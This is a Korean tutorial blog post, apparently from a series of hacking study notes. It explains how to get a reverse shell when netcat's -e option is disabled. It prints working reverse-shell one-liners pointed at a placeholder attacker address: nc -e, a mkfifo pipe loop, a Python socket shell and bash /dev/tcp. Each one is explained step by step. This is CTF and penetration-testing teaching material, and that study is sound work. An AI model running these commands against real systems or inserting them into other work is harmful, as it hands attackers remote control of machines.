기본편에서는 netcat의 기본적인 리버스 셸과 바인드 셸 사용법을 알아보았다
하지만 실전 환경(CTF, 침투 테스트)에서는 기본편에서 배운 명령어가 그대로 작동하지 않는 경우가 많다
그렇기 때문에 오늘 글에서는 netcat을 사용하며 자주 겪는 문제들과 이에 대한 해결 방법을 다룰 것이다
《 문제상황 1 》- e 옵션이 작동하지 않을 때
기본편에선 잠깐 나오고 제대로 된 설명이 없었기에 먼저 - e가 뭔지부터 설명하겠다
- e는 기본적으로 특정 프로그램을 실행하고 그 프로그램의 입출력을 네트워크 연결로 리다이렉트한다고 생각하면 된다
쉽게 설명하자면 우리가 앞서 사용하였던 이 코드를 예시로 보면 된다
nc 192.168.1.50 4444 -e /bin/bash
이 코드에선 - e를 통하여 bash의 입출력을 리다이렉트 하였고 셸을 사용할 수 있게 되었다
하지만 실전에선 " nc: invalid option -- 'e' " 이러한 오류 코드가 발생할 수 있다
그 이유는 - e 옵션 자체가 누구나 쉽게 셸로 접속하여 시스템의 완전 제어가 가능했기 때문이다
이는 결국 백도어의 악용 가능성 증가로 이어질 수 있어 OpenBSD netcat 같은 경우는 저렇게 -e의 사용을 막아 놓았다
대부분의 리눅스 배포판은 저런식으로 막혀 있기 때문에 이제부터 다른 방법으로 연결 하는 방법을 설명하겠다
《 해결 법 1-1 》named pipe 사용
Named Pipe(FIFO)는 파일처럼 보이지만 실제로는 프로세스 간 데이터를 전달하는 통로다
일반 파일은 데이터를 디스크에 저장하지만, Named Pipe는 저장하지 않고 그냥 전달만 한다
즉 데이터 통로를 만든다고 이해하면 된다 아래는 실제 사용 예시이다
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f
먼저 기존파일이 있으면 파이프는 만들 수 없기에 rm /tmp/f로 기존 파일을 지우고 mkfifo /tmp/f로 새 파이프를 만든다
여기서 핵심은 그 뒷 부분이다 cat /tmp/f가 파이프에서 데이터를 읽어서 /bin/sh -i로 보낸다
즉 /bin/sh -i는 받은 데이터를 해석하여 실제로 실행하고 결과를 출력하는 역할이라고 생각하면 된다
다음으로 셸이 명령어를 실행하면 그 결과가 nc 10.10.10.10 4444로 전송된다
그리고 netcat이 받은 새로운 명령어는 > /tmp/f로 다시 파이프에 쓰인다
결국 이 명령어 들을 통하여 이러한 순환 구조가 만들어져 - e를 대신하여 bash 연결이 가능해진다
(공격자 입력 → 파이프 → 셸 실행 → netcat 전송 → 파이프 → 반복)
참고로 2>&1은 디버깅을 위해 에러 메시지도 함께 전송하는 명령어 이다
《 해결 법 1-2 》python 사용
만약 시스템에 Python이 설치되어 있다면 이 방법을 추천한다
Python의 socket과 os 모듈이 저수준 시스템 콜을 직접 제어하기 때문에 Named Pipe처럼 여러 프로세스를 파이프로 엮는 것보다 훨씬 깔끔하다
특히 os.dup2()는 파일 디스크립터를 정확하게 바꿔치기하므로 중간에 파이프가 막히거나 프로세스 하나가 죽어서 전체가 끊기는 일이 없다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
먼저 공격자 서버에 네트워크 연결을 만든다
Linux는 입출력을 번호로 관리하기 때문에 프로그램이 시작되면 자동으로 0번은 키보드, 1번은 화면, 2번은 에러 출력으로 설정된다
여기서 os.dup2()는 앞서 말한 번호들을 바꿔치기 하는데 간단히 설명하자면 os.dup2(s.fileno(), 0)은 "0번을 네트워크로 바꿔라"는 뜻이다
이제 프로그램이 키보드에서 입력받으려고 하면 앞에서 번호들을 바꾸었기 때문에 실제로는 네트워크에서 받게 된다
(1번과 2번도 네트워크로 바꾸면 출력이 네트워크로 간다)
이 상태에서 /bin/sh를 실행한다 셸은 평소처럼 0번에서 명령어를 읽고 1번으로 결과를 쓴다 하지만 0번과 1번이 네트워크니까 공격자가 보낸 명령어를 받아서 실행하고 결과를 공격자에게 보낸다
때문에 셸은 자기가 네트워크랑 연결된 줄 모르고 그냥 평소처럼 동작할 뿐이지만 - e처럼 bash연결을 해준다
《 해결 법 1-3 》Bash 리다이렉션 사용
만약 대상의 Bash가 /dev/tcp를 지원하면 가장 간단하게 사용할 수 있는 방법이다
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
명령어를 자세히 설명하기전 /dev/를 왜 쓰는지에 대해 설명하도록 하겠다
/dev/ 자체는 장치 파일들이 있는 디렉토리이다 여기서 Linux는 하드디스크(/dev/sda) 같은 경우엔 키보드, 화면 같은 하드웨어를 파일처럼 취급한다 우리는 이런 특징을 이용하여 /dev/를 네트워크 디렉토리로 이용할 것이다
가장 먼저 bash -i는 대화형 셸을 시작한다
그 다음 >& /dev/tcp/10.10.10.10/4444 부분은 출력과 에러를 모두 TCP 연결로 보낸다 여기서 /dev/tcp/IP/PORT는 Bash의 특수 기능인데 실제 파일이 아니라 해당 IP와 포트로 TCP 연결을 자동으로 만들어준다
0>&1은 입력도 출력과 같은 곳으로 연결한다. 앞에서 출력이 이미 TCP 연결로 향하고 있으니 입력도 같은 TCP 연결에서 받게 된다.
결과적으로 Bash의 입출력이 전부 네트워크로 리다이렉트된다
단 이 방법은 Bash가 /dev/tcp를 지원할 때만 작동한다 Ubuntu 같은 일부 배포판에서는 보안상 이 기능이 비활성화되어 있다
이렇게 오늘은 netcat의 기본 사용법과 -e 옵션이 없을 때의 대응 방법을 알아봤다
'해킹 공부 정리' 카테고리의 다른 글
| 해킹 공부 노트 - Necat 사용법(기본편) (0) | 2025.11.09 |
|---|---|
| 해킹 공부 노트 - 셸에 대하여 (0) | 2025.11.02 |